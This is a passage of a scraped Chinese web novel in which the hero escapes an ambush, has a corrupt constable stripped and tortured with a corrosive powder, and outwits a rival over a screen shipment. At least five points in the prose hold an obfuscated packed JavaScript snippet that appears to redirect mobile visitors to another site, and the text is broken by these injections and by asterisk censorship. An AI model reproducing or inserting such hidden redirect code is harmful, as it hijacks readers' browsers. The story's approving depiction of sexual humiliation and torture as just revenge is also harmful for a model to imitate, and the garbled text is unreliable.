好久一阵,李奏凯确定**离开,才攥着慕容彪的胳膊往岸边游时,每动一下都像有刀子在刮骨头。 身上的旧伤裂得更狠了,后背被短镖划开的口子还在渗血,混着河水往伤口里钻,疼得他眼冒金星。 慕容彪更是个旱鸭子,在水里扑腾得像只翻了面的肥鱼,手舞足蹈地扒拉着,好几次差点把李奏凯拽得沉下去。 “别乱动!抓着我!” 李奏凯咬着牙低吼,腾出一只手托住慕容彪的腰。 这死胖子看着憨,沉得却像块铁,河水又急,李奏凯每往前推一把,胳膊都抖得厉害,伤口的血顺着指尖往水里淌,在身后拖出一道淡红的痕迹。 他脑子里全是昨晚小翠的话: “这河往下游拐个弯就是浅滩,水不深,就是石头多”! 凭着这点记挂,硬是憋着口气往记忆里的方向游。 好不容易摸到浅滩的石头,李奏凯腿一软就往下栽,还是死死攥着慕容彪没松。 他弓着腰把人往岸上推,石头硌得膝盖生疼,后背的伤像是要炸开,喉咙里又腥又甜,差点呕出血来。 直到把慕容彪整个推上岸,他自己才手脚并用地爬上去,刚趴在泥地上,就昏昏沉沉地喘,连抬手的力气都没了。 慕容彪趴在地上咳了半天,把肺里的水都咳了出来,接着就开始哭,鼻涕眼泪糊了一脸:“凯哥……凯哥你、你就是我的再生父母啊!” 他抹着脸上的泥,声音抖得不成样,“刚才在水里……我那样扑腾,换个人早把我扔了……你愣是没松过手……” 李奏凯躺在地上,连笑的力气都欠奉,只扯了扯嘴角。 第130章 糟糕处境! 第一百三十章糟糕处境! “哭……哭毛线……他们可能还在附近盯着,此地……不能久留!” 李奏凯现在呼吸都带着疼,每吸一口气,胸口都像被碾过似的,脑子里嗡嗡响,却没忘了刚才岸上**的动静! 慕容彪哭了没两句,倒是赶紧回过神来。 他自己就腿上划了道口子,不算重,爬起来踉跄着走到李奏凯身边,蹲下身摸了摸他的额头,烫得吓人。 “凯兄弟,你撑着!” 他咬了咬牙,蹲下身把李奏凯往背上揽,“我背你走!” 李奏凯被他一颠,疼得倒抽口冷气,却没挣扎,只是含糊地应了声:“小……小翠不是说前头有个破庙吗?我们……我们去那儿躲躲!” “好!都听你的!” 慕容彪背着他往林子深处走,脚步踉跄却走得挺稳,胖脸上没了刚才的慌乱,只剩一股子执拗。 刚才凯哥这都没扔他,现在他也不能让凯哥出事! 慕容彪背着李奏凯摸到那破庙时,天已经擦黑了。 他先把李奏凯轻轻放在草堆上,自己喘着粗气在庙里转了圈,捡了些没淋湿的枯枝,笨手笨脚地用打火石点了堆火。 火星子溅了他满手,烫得他龇牙咧嘴,倒真花费不少时间把火生起来了。 “你躺好。” 他蹲在李奏凯身边,从怀里摸出块皱巴巴的湿水干粮,又从破庙角落舀了点雨水,用个豁口的瓦碗在火上煨着。 等水热了,他小心翼翼地掰了块干粮泡进去,搅成糊糊,吹凉了才递到李奏凯嘴边:“凯哥,吃点垫垫。” 李奏凯张了张嘴,糊糊带着点土腥味,却比啥山珍海味都顶用。 慕容彪喂完了糊糊,又解下自己的外褂,撕成布条,沾了点温水给李奏凯擦脸上的泥和血。 擦到伤口时格外轻,还生怕弄疼了他:“忍忍啊,别让伤口烂了。” 李奏凯看到死胖子这样子,觉得有点好笑,“方向吧,老子不是娘们,你尽管弄好了!” “这话歧义大了去,什么叫尽管弄?”慕容彪嫌弃道:“我只弄娘们!” 李奏凯愣了愣,哈哈大笑了。 身体实在超负荷了,随便吃点,李奏凯就沉沉睡去。 第二天一早,李奏凯醒时,见慕容彪居然正蹲在火边烤着两条小鱼! 也不知啥时候摸去河边捞的,鱼皮烤得焦香! 见他醒了,慕容彪赶紧递过来:“快吃,刚烤好的。” 李奏凯咬了口鱼,看着他鼻尖沾着的灰,忍不住笑:“没想到你这死胖子,还挺会照顾人。” “哈哈……才知道我满身都是优点啊?” 慕容彪嘿嘿笑着:“以前去追凤楼,那些姑娘都说我体贴呢!” “哈哈,看得出、看得出……咳咳……” 李奏凯被他逗得咳嗽起来。 慕容彪赶紧拍他后背:“悠着点,可千万别死在这种地方啊!” 两人有一搭没一搭地聊着,从昨天的凶险说到接下来的打算,火光照着彼此脸上的伤和泥,倒比以前在楚家时亲近了十倍。 毕竟不仅一起‘漂过昌’,更是一起从**堆里爬出来的,这份共过生死的情分,比啥都实在。 可下一刻,两人又犯了愁! 李奏凯的伤还动不了,慕容彪背着他转了半天,连个人影都没见着,干粮也吃完了。 慕容彪累得直喘,腿肚子都在抖:“凯哥……咱不会困死在这儿吧?” 李奏凯正想安慰两句,远处突然传来马蹄声。 两人眼睛一亮,慕容彪扶着李奏凯往路边挪了挪,就见一队官差骑着马过来。 为首的竟是个穿捕头服的女人,眉眼利得很,不是别人,竟是林晓红! 李奏凯心里顿时咯噔一下,这不是之前听信李夯昆的话,差点冤枉苏璃月和凌霜的那个女捕头吗? 听说还是李夯昆的表姐! 这是巧合?还是…… 李奏凯越想越后背发寒,自己现在这副模样,要是被林晓红认出来,指不定要遭啥难,甚至会被她借故弄死! 林晓红也瞧见了他们,勒住马喝问:“喂,你们是谁?在这儿干啥?” 慕容彪赶紧应:“哈哈,官爷!我们是楚家押镖的,遇着劫道的了!快救救我兄弟!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244793|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林晓红的目光落在李奏凯脸上,眉头皱了皱,虽满是血污,可那张脸看着有点眼熟。 李奏凯心里更暗叹不妙,赶紧低头,攥紧了慕容彪的胳膊,只盼着她别认出来。 林晓红勒着马,目光在两人脸上扫了扫:“报上名字。” 慕容彪想都没想就应:“我叫慕容彪!他是……啊——” 李奏凯赶紧在他胳膊上狠狠掐了一把,慕容彪疼得把后半句咽了回去。李奏凯这才忍着后背的疼,哑着嗓子道:“我叫……梁三!” 林晓红挑了挑眉,眼神怪得很,却没追问,只冷着脸道:“青石坡那边刚发现尸体,**一地人!你们既是‘押镖遇劫’的,又是目击者,我怀疑你们跟案子有关,跟我回衙门走一趟。” “啥?!”慕容彪瞪圆了眼,“我们是受害者啊!去衙门说清楚行,可咋能是凶手?” 他还觉得去衙门反倒安全,能找地方说理,可李奏凯心里门儿清,林晓红这眼神,分明没安好心。 可他们却也没法犟,只能被官差架着往回走。 林晓红骑马跟在旁边,不仅没好心让他们两个伤号上车,甚至没走两步就“不小心”让马蹄蹭了慕容彪一下。 胖子踉跄着差点摔进泥里,她竟故意再撞一下,让慕容彪一头砸进去,然后倒像没事人似的哼了声:“走路都不稳,还敢出来押镖?” “呸!” 慕容彪赶紧呸了一口泥,死死盯着她,正要忍不住骂人,李奏凯却赶紧按住他。 这个时候和这女人吵起来,吃亏的肯定是自己两人。 然而,林晓红瞧他们的模样,却是勾起了坏笑。 走了半里地,又有个官差又突然“手滑”,手里的刀鞘狠狠撞在李奏凯后背上,正砸在伤口上。 李奏凯疼得眼前发黑,咬着牙没吭声。 慕容彪急了:“**凉的!你们干什么?我兄弟他有伤!” 林晓红却随意瞥了眼,慢悠悠道:“不小心而已,用得着大呼小叫?再说,你们可是嫌疑犯,哪能给你们那么舒坦?” “你——” 慕容彪急得就要上前和她拼命! 第131章 救兵来了! 第一百三十一章救兵来了! 李奏凯再次按住慕容彪。 他知道这女人就是故意的,给她由头,怕她会变本加厉,吃亏的始终是自己。 可单方面隐忍,始终也不是办法! 果然,又走了会儿,官差突然停脚,说要搜身。 摸李奏凯腰间时,故意使劲按他的旧伤,疼得他额角直冒冷汗,却还是咬牙忍着。 等搜完了,林晓红才勒住马,看着他冷笑:“还打算装下去?李奏凯,别以为抹了满脸泥我就认不出你。” 李奏凯心里一沉,这女人果然早就认出自己,妈的!刚一直在耍猴玩呢? “呵呵……” 林晓红看到他的表情,忍不住笑出了声。 她会出现在这金陵边界的青石坡附近,本就不是巧合,早几日楚明诚便托人递了信给她。 楚家那位新姑爷李奏凯要押一趟“要紧货”经青石坡,楚明诚“疑心”路上不太平,想请她这个捕头“顺路”来照看照看,还隐晦提了句“事成之后,少不了她的好处”。 林晓红本就记恨李奏凯让表弟李夯昆吃了大亏,又瞧着楚明诚给的银钱实在动心,便借着“巡查边界治安”的由头带了队官差过来。 她原是打算等楚明诚的人得手后,再“恰好”出现收拾残局,把劫镖的罪名往不知哪路野匪头上一推,既卖了楚明诚的人情,又能得笔横财。 却没成想,刚到青石坡就撞见了浑身是伤的李奏凯和慕容彪,见两人没死透,她心里那点算计顿时转了向! 那就自己亲自**死他,正好还能报私仇! 此刻瞧李奏凯的眼神,想必大家都心知肚明,林晓红干脆也不装了,扬着下巴,语气带刺: “不就是那个娶了前朝余孽的傻子?我早瞧你不顺眼!青石坡**那么多人,指不定就是你杀的,不然咋就你们俩活下来了?” “你……你胡说!” 不等李奏凯回应,慕容彪当即急得面红耳赤,“是影杀堂的人劫镖!我们是拼死才逃出来的!” “影杀堂?” 林晓红嗤笑,“呵呵,凶手你们抓住了吗?证据呢?空口白牙说给谁听?我看就是你们为了吞镖银,杀了镖师和所谓的‘**’!” 她说着冲官差使了个眼色,“把他们按住!别让跑了!” 官差们立刻扑上来,一把将慕容彪按在地上,胖子还在挣扎着喊“我们是冤枉的”,脸都蹭破了。 李奏凯身受重伤,根本没反抗,被两人架着胳膊,后背的伤被扯得更疼! 他算看明白了,跟林晓红根本没道理可讲。 她八成是记恨之前李夯昆的事,想借着这案子公报私仇,真到了衙门,指不定会被她随便按个罪名弄死。 必须得想办法脱困! 所以哪怕后背的伤疼得钻心,却强忍着没吭声,还悄悄抬眼瞅了瞅天色。 日头刚过正午。 按他之前跟宁文轩约好的时辰,这时候后手该到青石坡附近了。 “林捕头,”他突然开口,声音哑得厉害,“要去衙门也行,可别往青石坡原路回,那边刚打了仗,路不好走,还晦气!不如走西边的河沿岔路,虽说绕点,却平整,也快些。” 林晓红眯了眯眼,打量着他。 这小子,居然突然这么“听话”? 她转念一想,河沿岔路确实近,而且那边荒,就算这两人想耍花样也没处躲。 便冷声道:“算你识相。走河沿!” 官差们也乐意,毕竟这条路更好走,于是架着两人转了方向,往河沿走。 哪想到刚拐过一道弯,前头突然传来一阵马蹄声,还夹杂着喊叫声。 林晓红顿时心里一紧,勒住马往前看,就见黑压压一片人堵在路口,手里都握着家伙。 领头的正是宁文轩! “凯哥!” 宁文轩一眼就瞧见被架着的李奏凯,眼睛瞬间红了,扬着铁棍就喊,“兄弟们!把这些家伙给我围了!救凯哥!!” “好!” 一群人说上就要上。 林晓红起初还挺嚣张,拔出刀喝道:“大胆!我是玉津城捕头林晓红!你们想袭击衙差不成?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244794|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可话音刚落,她就愣了! 宁文轩身后又涌出来几十号人,个个凶神恶煞,人数比她带的官差多了三倍不止。 更让她心头发颤的是,旁边有人低声嘀咕:“林捕快,那……那不是宁巡抚大人家的三公子吗?” 什么?巡抚家的儿子?! 林晓红握着刀的手都抖了。 她一个府衙捕头,哪敢跟巡抚叫板? 方才的嚣张气焰说灭就灭了,脸色发白地收了刀,强装镇定道:“宁公子……这是误会!我抓这两人,是因为他们涉嫌**……” “**?” 宁文轩冷笑一声,走到李奏凯身边,亲手把他扶过来,“我凯哥昨天遇了劫镖的,差点死在青石坡!你不抓凶手,倒抓受害者?” 他扭头冲身后的人使了个眼色,“把这些官差的刀都下了!” 官差们哪敢反抗,乖乖把刀扔在地上。 林晓红被宁文轩的人围在中间,攥着拳还想摆捕头的架子,梗着脖子道:“你们别太过分!我……我好歹是官府的人!” “官府的人就敢乱抓人?” 李奏凯扶着宁文轩的胳膊,慢悠悠地往前走了两步,眼神冷得像淬了冰,“刚才你按我兄弟的脸,让他趴在泥里——现在,给我跪下,给我弟磕三个头赔罪。” “你……你做梦!” 林晓红脸涨得通红,膝盖像生了根似的钉在地上。 她好歹是府衙的捕头,当着这么多人的面下跪磕头,往后还怎么抬头? “不跪?” 李奏凯没动,只抬了抬下巴。 宁文轩身后两个兄弟立刻上前,一人一边踹在林晓红膝弯上。 “噗通”一声,她膝盖一软,硬生生跪了下去,膝盖磕在石头上,疼得她倒抽冷气。 “磕!”宁文轩低喝一声。 林晓红咬着牙不肯动,眼眶却红了! 长这么大,她还没受过这种**! 可脖子被人用刀架着,只能**地低下头,“咚咚咚”磕了三个头,额头撞在泥地上,沾了满脸的土。 第132章 以牙还牙! 第一百三十二章以牙还牙! “哼,这还差不多。” 慕容彪在旁边看得解气,冷哼了一声。 偏生林晓红眼神通红,咬牙说道:“你们这么多汉子,欺负我一个女人,算什么英雄?一点都不体面!” 这态度,这言语可把慕容彪气着了,又想起刚才被她故意撞倒,还让官差故意羞辱自己,又觉得不够,突然上前一步,指着林晓红骂道: “**!刚才你让官差搜我身,摸我裤裆的时候,怎么不说体面?现在却好意思说了?” 他眼睛一瞪,“把你那身捕头服给我扒了!光膀子给凯哥唱个曲儿,不然老子现在就废了你!” “你敢?!” 林晓红吓得往后缩,双手死死抓着衣襟。 那捕头服是她的体面,脱了衣服在男人堆里光膀子,比杀了她还难受。 “嘿,老子有啥不敢的?” 慕容彪被她刚才的嚣张气狠了,抬脚就往她腰上踹了过去。 林晓红本就被当众下跪磕头痛得眼冒火,这会儿听慕容彪竟要她脱衣唱曲,那点仅存的理智“噌”地断了。 她猛地抬头,眼里淬着狠劲,趁着按住她的人没留神,反手就从靴筒里摸出把短匕,扬手就朝慕容彪心口刺去! “我杀了你这个死肥猪!!” 慕容彪哪懂这些?还傻愣愣地站着骂,直到寒光晃到眼跟前才吓白了脸,腿一软竟忘了躲。 宁文轩等人惊得“欸”了一声,伸手去拦却慢了半拍。 “小心!” 李奏凯喝了一声,哪怕后背疼得钻心,还是猛地往前扑了一步,胳膊肘狠狠撞在林晓红腰上。 林晓红“哎哟”一声,手里的短匕偏了方向,擦着慕容彪的胳膊划过去,钉在了旁边的树干上。 没等她再动,宁文轩的人已经扑上来,死死按住她的胳膊反剪到身后。 “你这婆娘,竟还敢动刀子**?!” 宁文轩气得狠踹了她一脚,“绑结实了!” 慕容彪这才缓过魂,看着胳膊上被划开的口子,又想起刚才差点被捅死,那点火气“轰地彻底燃烧起来! 他这辈子哪受过这等惊吓?还要给个娘们! 他当下也顾不上别的,抢过旁边兄弟手里的刀,红着眼就冲过去。 “草你凉的,还想捅死老子?!” 他骂着,举刀就往林晓红腰间砍去。 没**,却咔嚓一声砍断了她的腰带。 接着攥住她的衣襟狠狠一扯,“嗤啦”一声,捕头服的前襟被扯得稀烂,露出里头的水红抹胸和粉色亵裤。 “啊!你——” 林晓红尖叫着想捂,却被按得死死的,只能眼睁睁看着自己体面尽失。 “呸,身材贫穷还吝啬!容貌不行还歹毒,看老子怎么收拾你这种恶婆娘!” 慕容彪还不解气,又在她那身破烂的衣服上踹了两脚,骂骂咧咧道:“让你狂!让你为难凯哥!老子今天就把你这点破体面全扒了!” 他越骂越狠,眼眶都红了,既有后怕,更有被欺负到头上的憋屈,这会儿全撒在了林晓红身上。 李奏凯站在旁边没拦,林晓红这种女人,就该狠狠收拾,有彪哥替自己动手,倒是省事多了! “你……你这死胖子,你——” 林晓红又气又怕,看着自己衣物越来越少,眼泪混着泥往下淌,却不敢再犟! 她怕这胖子真敢杀了她,只能任由对方施展,最后衣不蔽体跪在地上,头埋得低低的,浑身都在抖。 周围宁文轩的手下哄笑起来,她恨不得找个地缝钻进去,心里又恨又**,却连抬头的勇气都没有。 “解气了吧?该到我了!” 只等慕容彪将这山鸡全拔**了,折腾了好一阵,李奏凯这时才开口,声音没半点温度。 他早让人去河里捞了点带腐骨散的水,蹲在林晓红面前。 林晓红见他手里的瓷瓶,吓得魂都飞了,往后缩着喊:“你别过来!我错了!我再也不敢了!” 李奏凯没理她,反手从宁文轩腰间抽过一把短刀,在她胳膊上划了道深口子。 血“噗”地涌出来,林晓红疼得尖叫。 没等她反应过来,李奏凯捏开瓷瓶,将半瓶腐骨散全倒在了她的伤口上。 “啊——!” 凄厉的惨叫瞬间炸开。 腐骨散沾着血冒起白烟,皮肉滋滋作响,像是被烈火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244795|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼烧,又像是有无数蚂蚁在啃噬骨头。 林晓红疼得在地上打滚,里衣被泥蹭得破烂不堪,胳膊上的伤口烂得不成样子,露出底下的红肉,看着触目惊心。 宁文轩和手下们都看愣了! 刚才还觉得凯哥受了伤蔫蔫的,没想到狠起来这么吓人。 有人低声嘀咕: “凯哥这才是真狠人……” “不狠不丈夫啊……都是以牙还牙罢了!” 这些人倒是说出李奏凯的心声,也让着恶毒女人尝尝这种滋味,不然她以为自己刚刚好忍的? 李奏凯站起身,看都没看地上疼得快晕过去的林晓红,对宁文轩道:“走,我们去接真屏风。” 一行人浩浩荡荡地离开,只留下林晓红在原地疼得满地爬,早已没了半点人形。 河沿上的风刮过,带着血腥味和腐骨散的焦糊味,衬得她的惨状越发骇人,这便是她刁难人、害人性命的下场。 一行人踩着泥泞往青石坡镖队遇劫的地方走,地上还留着打斗的痕迹,几具没来得及处理的尸体裹在草席里,看着格外瘆人。 慕容彪踢了踢旁边一块沾着血的镖车碎片,纳闷道:“凯兄弟,你不是说这批是假货吗?咱不是还有另一队人押着真屏风走?他们从哪儿出发的来着?” 李奏凯蹲下身,用树枝拨了拨地上的泥痕,笑道:“另一队人是从楚家后巷的暗门走的,就是平时运绣线料子的那个小角门,凌晨寅时就动身了。” 他抬眼望了望天色,“按脚程算,这时候该过了西边的望河桥,离西华门的朝廷接应点只剩两里地了。” “望河桥?” 慕容彪突然拔高了声音,大惊失色,“那楚明诚的人会不会在那儿截?他要是堵在桥那头……” “他肯定会去。” 李奏凯说得笃定,指尖在泥地上画了个圈,“因为这都是我们算计好的。” 慕容彪更懵了:“算计?那他咋会知道另一队的路?” “因为,我故意让他知道的啊。” 李奏凯狡黠一笑。 慕容彪顿时啊了一声,眼里满是问号。 就连宁文轩也看着大哥,不知他葫芦里究竟卖什么药? 第133章 预判对方的预判 第一百三十三章预判对方的预判 “哎哟,凯兄弟,你就别卖关子了!快说啊,我心都快痒死囖!” 慕容彪是个心急又想吃热豆腐的主,哪经得起李奏凯这说话说一半的尿性啊? 宁文轩也符合:“对,大哥,你倒是快说啊!这到底是真镖还是假的?” 他早就对李奏凯佩服,尤其今天算准了林晓红这事,更是几乎盲目了,直到李大哥让他带大部队来这里接应,肯定是大有玄机的! “嘿嘿……” 李奏凯这才站起身,拍了拍手上的泥,“前几天我让小管事‘不小心’把标着望河桥路线的纸条掉在楚家角落;” “还有小玉出行那天早上在门口喊的话,其实也是我头天晚上跟她说好的,让她故意站在府门口大声说,声音刚好能传到对面茶铺的窗户口。” 他顿了顿,眼里闪着算计的光:“楚明诚疑心重,却总觉得自己能看透别人的心思,那我就故意漏这些‘破绽’,他准会以为是自己的人偷听来的消息,笃定真屏风走望河桥!” 慕容彪听得眼睛都直了,张着嘴半天没合上:“合着……连二小姐那声喊都是你安排的?你连楚明诚会派人偷听都算到了?” 旁边的宁文轩也忍不住竖了大拇指:“凯哥,这招‘预判对方的预判’也太绝了!难怪您一点不慌,合着全在您眼皮子底下呢!” 李奏凯嘿嘿笑了两声,没接话。 慕容彪却突然猛拍大腿,急道:“可凯兄弟!你故意漏消息,楚明诚的人去望河桥截,那真屏风不就没了?咱这费半天劲,不还是白忙活?” 李奏凯转过头看他,嘴角勾着笑,却没直接说穿,眼底的笃定藏都藏不住。 慕容彪被他笑得心里发毛,又想追问,宁文轩却拽了拽他的胳膊,朝他使了个眼色:“凯哥这么稳,准还有后招!” “还是文轩机灵,你这胖子是猪吗?” 李奏凯也忍不住敲了慕容彪脑门,“我想楚明诚肯定早就在桥那头设了真正的埋伏,否则他派来的**,早将我们这边的货毁了,哪会以为杀完人直接走掉!” 慕容彪这才好像突然开窍,也猛拍自己脑门:“对啊!我咋没想到呢?肯定是太心急了,哈哈……” 此时,望河桥那头的林子里,楚明诚正背着手在高处小山坡踱步,身边站着个锦衣华服的年轻公子。 正是赵家少家主赵珩。 两人身后藏着二十来个精壮打手,手里都攥着家伙,眼睛死死盯着桥对面的路。 至于桥的两边,更是早埋伏了更多的好手。 他们相信,不管什么镖局,今天要从这里走镖的话,都肯定护不住货物! “来了!” 有人突然低喊一声。 楚明诚和赵珩立刻往前凑了凑,就见一队马车慢悠悠地过了桥,前后不过十五六个护镖的,看着稀松平常。 “动手!” 楚明诚低喝一声:“找准机会,把所有东西都给我一把火烧了!” 打手们立刻扑了上去,护镖的人见状,象征性地抵抗了两下,就像吓破了胆似的,扔了镖车转身就逃,跑得比兔子还快。 “哈哈哈!” 楚明诚看着火焰燃起,仰头大笑,拍着赵珩的肩膀,“你看!李奏凯那小子想玩暗度陈仓?这种小儿科岂能瞒得住我?” 赵珩也跟着笑,一脸恭维:“还是楚二爷高明!一眼就看穿了他的把戏。这屏风一毁,楚家可就彻底完了。” “可不是嘛!” 楚明诚眼里闪着得意的光,“楚家没了这批给朝廷的货,不仅要赔一大笔钱,还得得罪官府!以后别说金陵首富,整个大晟都不会再有楚家的立足之地!” 他顿了顿,语气越发笃定,“等楚家倒了,我就是新的楚家主人!到时候还望赵少多多关照。” 赵珩忙道:“二爷客气了!往后咱们两家联手,金陵的生意还不是咱们说了算?” 两人正相互吹捧得热乎,突然有个打手慌慌张张跑过来,脸色发白:“二爷!赵少!不好了!你们快来看看!” 楚明诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244796|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头一皱:“慌什么?不就是烧屏风吗?” 可等他跟着打手走到镖车旁,伸手掀开盖在上面的绸缎时,脸上的笑瞬间僵住了! “这……这是什么?!” 楚明诚的声音都抖了。 赵珩也凑过去看,看清火堆车里的东西后,脸“唰”地绿了,刚才那股得意劲儿荡然无存,只剩下懵和慌! 反差极大,周围的人都尴尬得不知该说什么。 而此时,青石坡。 李奏凯让宁文轩带人收拾队伍继续赶路,顺手指了指旁边那几辆被劫后扔在泥里的镖车:“把车上没用的东西都扯了扔了,轻装走。” 几个兄弟应声上前,伸手去扯盖在镖车上的绸缎。 刚扯了两下,就听见“哗啦”一声,裹在绸缎里的几块木板掉了下来,溅了一地泥。 “嗯?” 慕容彪凑过去看,愣了愣! 他听了李奏凯刚刚说的话,还以为这车里装的就是些充数的破木头,可木板一掉,底下竟露出了熟悉的雕花边框! 他赶紧伸手去扒,把剩下的木板全抽掉,瞬间瞪圆了眼睛,激动得直拍大腿: “哎呀呀!这叫什么事儿!假里有真,真里有假,真真假假的,真让人猜不透啊我的凯兄弟!” 他围着镖车转了两圈,数了数,乐得嘴都合不拢:“220幅!一幅不少!全在这儿呢!” 李奏凯靠在车边笑,眼里闪着狡黠的光:“这就叫兵行险招。虚则实之,实则虚之!楚明诚那老狐狸这会儿的脸,估计绿得跟地里的草似的,哈哈……” “那望河桥那边到底装了些啥?” 慕容彪搓着手好奇道,“看你这表情,准不是啥好东西吧?” “你猜。” 李奏凯又卖了个关子,指尖敲了敲镖车的木板,“我赌楚明诚现在的脸,比刚才林晓红疼得打滚时还精彩。” 慕容彪心痒得抓耳挠腮,想了半天也猜不出,干脆拽着李奏凯的胳膊晃:“快说快说!再卖关子我跟你急!” 第134章 是谁说楚家不行的 第一百三十四章是谁说楚家不行的 “哈哈,也没啥!” 李奏凯这才慢悠悠道:“就是楚明诚留在楚家库房的那些旧账本,还有楚明诚自己偷偷藏的几箱字画,我和夫人商量过的,楚明诚不动手,那这些东西我会让人运回来,他要是一把火烧了,烧的那可是他自己的宝贝!” “嚯!”慕容彪眼睛一瞪,跟着就乐了,“损!太损了!这老小子要是真烧了自己的宝贝,岂不得心疼得吐血?哈哈……” 宁文轩也忍不住咧嘴笑,冲李奏凯竖大拇指:“凯哥,您这脑子咋长的?连这都算到了!楚明诚怕是到现在还蒙在鼓里,以为烧了真屏风呢!” 他身后的兄弟也跟着哄笑。 宁文轩看李奏凯的眼神里全是崇拜。 原以为凯哥只是能打,没想到算计起人来这么绝,这一招不仅保住了屏风,还得让楚明诚吃个哑巴亏,简直太爽了! 李奏凯笑着摆摆手:“行了,别夸了。赶紧收拾利索,天黑前得赶到西华门,等把屏风交了,才算真的稳了。” 一行人立刻忙活起来,镖车重新被捆扎好,车轮上裹了防滑的草绳。 慕容彪还在旁边乐呵:“想想楚明诚发现烧错东西的样子,我就想笑!凯兄弟,你这招真是绝了!” 大家轻装上阵,欢声笑语。 反观望河桥这边,楚明诚盯着镖车里的旧账本和那几箱字画,眼睛都直了! 那账本是他偷偷改了楚家账目后藏起来的底子,那几箱字画更是他花了三年功夫才收来的宝贝,原想等自己接管楚家后拿去讨好京里的大官,怎么会在这儿?! “火!快灭火啊!” 他猛地回过神,声音都劈了叉,疯了似的往镖车冲。 刚才还催着打手“赶紧烧干净”的人是他,这会儿扑在车边用袖子拍火星子的也是他! 前后不过一炷香的功夫,脸上的得意早被慌急冲得精光,鬓角的汗混着烟灰往下淌,活像个刚从灶膛里爬出来的疯子。 打手们也懵了! 有人刚还举着火折子往车上扔,等着邀功,可这会儿见二爷急成这样,赶紧手忙脚乱地扑火。 有人脱了外褂去捂火苗,有人往车边扒泥巴,可刚才烧得太急,几箱字画的锦盒已经焦了边,账本的纸页卷着黑烟往上飘,现场乱成一团,火星子溅得到处都是。 赵珩站在旁边没动,抱着胳膊看戏,嘴角还勾着点似笑非笑的弧度。 等楚明诚被手下拽着往后退,眼睁睁看着半箱字画烧成了黑灰,他才慢悠悠开口: “楚二爷,这……就是您说的‘楚家命脉’?我瞧着倒像是您自己的宝贝啊。” 这话像根针,狠狠扎在楚明诚心上。 他猛地转头瞪向赵珩,眼里血丝乱爬,却没力气怼回去! 赵珩说得没错,他烧的是自己的心血!不是楚夫人的心血和未来啊! “李奏凯!!” 楚明诚突然爆发出一声怒吼,声音哑得像被砂纸磨过,“是你!一定是你这小杂种算计我!” 他想起前几天茶铺里捡到的纸条,想起楚小玉在门口喊的话,想起自己笃定“真屏风走望河桥”时的得意……原来从一开始,他就踩进了李奏凯挖的坑! “我一定要杀了你!我要把你**万段!” 他红着眼往前冲,却被手下死死抱住。 看着镖车里烧得只剩灰烬的字画,摸着账本烧黑的边角,那股又懊恼又愤怒的火气直冲天灵盖。 他这辈子没这么栽过!没这么被人耍得像个傻子过! 赵珩在旁边轻嗤一声:“二爷还是先顾着眼前吧,烧了自己的宝贝事小,没截到真屏风,楚家那位夫人怕是要在朝廷这边坐稳了!” 这话更是往楚明诚心上捅刀子。 他挣开手下,一屁股坐在泥里,看着还在冒烟的镖车,胸口剧烈起伏着,眼里的狠劲几乎要溢出来,却又掺着浓浓的绝望! 他输了,输得一败涂地。 而这一切,都是被李奏凯那个小子笑着看了场好戏! 反观李奏凯这边,调虎离山成功,接下来的行程倒是一切顺利。 两天后。 西华门附近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244797|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的官驿外,林大清正背着手来回踱步。 他是朝廷钦派的采办主事,这次专管接收楚家那批进献的屏风。 